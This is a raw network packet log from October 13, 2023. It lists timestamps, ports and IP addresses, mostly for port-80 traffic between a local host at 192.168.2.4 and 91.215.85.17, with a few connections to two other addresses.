Oct 13, 2023 16:06:18.333878994 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.333925962 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.333962917 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.334008932 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.334034920 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.334074020 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.334100008 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.334206104 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.334248066 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.334290981 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.334352016 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.334389925 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.334453106 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.334496975 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.334533930 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.334539890 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.334602118 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.334640980 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.334669113 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.334723949 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.334764004 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.334809065 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.334866047 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.334903955 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.334928036 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.334989071 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.335021973 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.335051060 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.335094929 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.335134029 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.335158110 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.335263014 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.335304976 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.335406065 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.335463047 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.335500002 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.335516930 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.335583925 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.335621119 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.335627079 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.335702896 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.335741997 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.335903883 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.335992098 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.336033106 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.336046934 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.336146116 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.336188078 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.336193085 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.336277008 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.336318970 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.336364031 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.336425066 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.336462021 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.336504936 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.336569071 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.336592913 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.336607933 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.336654902 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.336689949 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.336749077 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.336819887 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.336857080 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.336910963 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.336982012 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.337017059 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.337059975 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.337120056 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.337156057 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.337186098 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.337225914 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.337261915 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.337305069 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.337380886 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.337420940 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.337423086 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.337560892 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.337599993 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.337650061 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.337709904 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.337748051 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.337809086 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.337874889 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.337913990 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.337960958 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.338052988 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.338089943 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.338104010 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.338162899 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.338203907 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.338216066 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.338289022 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.338327885 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.338378906 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.338475943 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.338515043 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.338531971 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.338637114 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.338675022 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.338685989 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.338792086 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.338819981 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.338840961 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.338896036 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.338912010 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.338932991 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.338975906 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.339019060 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.339030027 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.339098930 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.339142084 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.339174032 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.339230061 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.339272976 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.339315891 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.339385033 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.339422941 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.339445114 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.339467049 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.339502096 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.339534044 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.339601994 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.339637995 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.339639902 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.339698076 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.339732885 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.339788914 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.339849949 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.339886904 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.354486942 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.354532003 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.466255903 CEST	443	49792	104.21.65.24	192.168.2.4
Oct 13, 2023 16:06:18.466348886 CEST	49792	443	192.168.2.4	104.21.65.24
Oct 13, 2023 16:06:18.512198925 CEST	49791	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:18.512475014 CEST	49793	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:18.556812048 CEST	49792	443	192.168.2.4	104.21.65.24
Oct 13, 2023 16:06:18.556854963 CEST	443	49792	104.21.65.24	192.168.2.4
Oct 13, 2023 16:06:18.557766914 CEST	443	49792	104.21.65.24	192.168.2.4
Oct 13, 2023 16:06:18.557854891 CEST	49792	443	192.168.2.4	104.21.65.24
Oct 13, 2023 16:06:18.566651106 CEST	49792	443	192.168.2.4	104.21.65.24
Oct 13, 2023 16:06:18.610476017 CEST	443	49792	104.21.65.24	192.168.2.4
Oct 13, 2023 16:06:18.658102036 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.658160925 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.658200026 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.658238888 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.658252001 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.658277035 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.658317089 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.658413887 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.658417940 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.658417940 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.658485889 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.658524036 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.658529043 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.658560991 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.658601999 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.658667088 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.658704042 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.658744097 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.658803940 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.658840895 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.658896923 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.658951998 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.658989906 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.659034967 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.659059048 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.659097910 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.659138918 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.659200907 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.659284115 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.659327030 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.659399986 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.659544945 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.659584999 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.659590006 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.659670115 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.659712076 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.659735918 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.659775972 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.659816980 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.659845114 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.659917116 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.659955025 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.659957886 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.660024881 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.660063982 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.660135031 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.660171986 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.660298109 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.660310984 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.660347939 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.660383940 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.660387993 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.660422087 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.660463095 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.660499096 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.660567999 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.660607100 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.660640955 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.660676956 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.660715103 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.660777092 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.660890102 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.660928965 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.660932064 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.660999060 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.661037922 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.661108971 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.661148071 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.661190033 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.661226034 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.661295891 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.661339998 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.661346912 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.661437035 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.661474943 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.661482096 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.661544085 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.661585093 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.661596060 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.661690950 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.661729097 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.661736012 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.661798954 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.661842108 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.661942959 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.661979914 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.662019968 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.662067890 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.662108898 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.662154913 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.662210941 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.662271023 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.662309885 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.662313938 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.662378073 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.662415981 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.662419081 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.662503004 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.662544966 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.662592888 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.662662983 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.662699938 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.662707090 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.662806034 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.662853956 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.662899971 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.662970066 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.663009882 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.663055897 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.663108110 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.663146019 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.663177967 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.663216114 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.663255930 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.663316011 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.663352966 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.663393974 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.663444996 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.663536072 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.663583040 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.663594961 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.663664103 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.663702011 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.663707018 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.663827896 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.663872004 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.663902044 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.663938999 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.663980007 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.664009094 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.664117098 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.664163113 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.664200068 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.664271116 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.664308071 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.664316893 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.664413929 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.664459944 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.664469957 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.664540052 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.664577961 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.664586067 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.664669991 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.664716005 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.664737940 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.664808035 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.664849997 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.664889097 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.664926052 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.664969921 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.665028095 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.665064096 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.665102005 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.665106058 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.665170908 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.665211916 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.665220022 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.665293932 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.665335894 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.665385008 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.665421963 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.665460110 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.665491104 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.665527105 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.665568113 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.665625095 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.665662050 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.665699959 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.665735960 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.665853977 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.665896893 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.665929079 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.666001081 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.666044950 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.666081905 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.666121006 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.666158915 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.666166067 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.666228056 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.666269064 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.666297913 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.666333914 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.666377068 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.666404963 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.666493893 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.666532040 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.666537046 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.666601896 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.666645050 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:18.666651011 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.666771889 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:18.666815996 CEST	49762	80	192.168.2.4	91.215.85.17
